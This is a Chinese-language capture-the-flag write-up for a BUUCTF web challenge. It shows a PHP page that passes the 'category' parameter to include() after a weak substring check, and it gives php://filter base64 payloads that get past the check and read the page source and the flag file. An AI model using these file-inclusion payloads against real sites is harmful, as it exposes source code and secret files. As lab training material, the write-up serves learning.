[BSidesCF 2020]Had a bad day

先看url,发现可能有注入

http://655c742e-b427-485c-9e15-20a1e7ef1717.node5.buuoj.cn:81/index.php?category=woofers

试试能不能查看index.php直接?category=index.php不行,试试伪协议

image-20240123155428022

把.php去掉试试

image-20240123155516417

base64解码

image-20240123155617527

    <?php
                $file = $_GET['category'];
​
                if(isset($file))
                {
                    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                        include ($file . '.php');
                    }
                    else{
                        echo "Sorry, we currently only support woofers and meowers.";
                    }
                }
                ?>

说明参数要包含woofers、meowers、index

试试读取flag文件

?category=php://filter/convert.base64-encode/index/resource=flag

image-20240123155923139

base64解码

image-20240123160012789

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-01-26 01:14:01       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-01-26 01:14:01       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-01-26 01:14:01       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-01-26 01:14:01       20 阅读

热门阅读

  1. LeetCode 2865. 美丽塔 I,前后缀分离+单调栈

    2024-01-26 01:14:01       36 阅读
  2. 《深度解析Docker命令:从入门到高级应用》

    2024-01-26 01:14:01       29 阅读
  3. Vue3组件通信相关内容整理

    2024-01-26 01:14:01       38 阅读
  4. 5G_射频测试_接收机测量(五)

    2024-01-26 01:14:01       26 阅读
  5. Leetcode724.寻找数组的中心索引

    2024-01-26 01:14:01       33 阅读
  6. Typescript的一些总结和部分代码

    2024-01-26 01:14:01       35 阅读
  7. 26.删除排序数组中的重复项(力扣LeetCode)

    2024-01-26 01:14:01       32 阅读
  8. AndroidStudio 无法打开 arb 文件

    2024-01-26 01:14:01       38 阅读
  9. leetcode2765. 最长交替子数组

    2024-01-26 01:14:01       33 阅读
  10. DockerCompose

    2024-01-26 01:14:01       41 阅读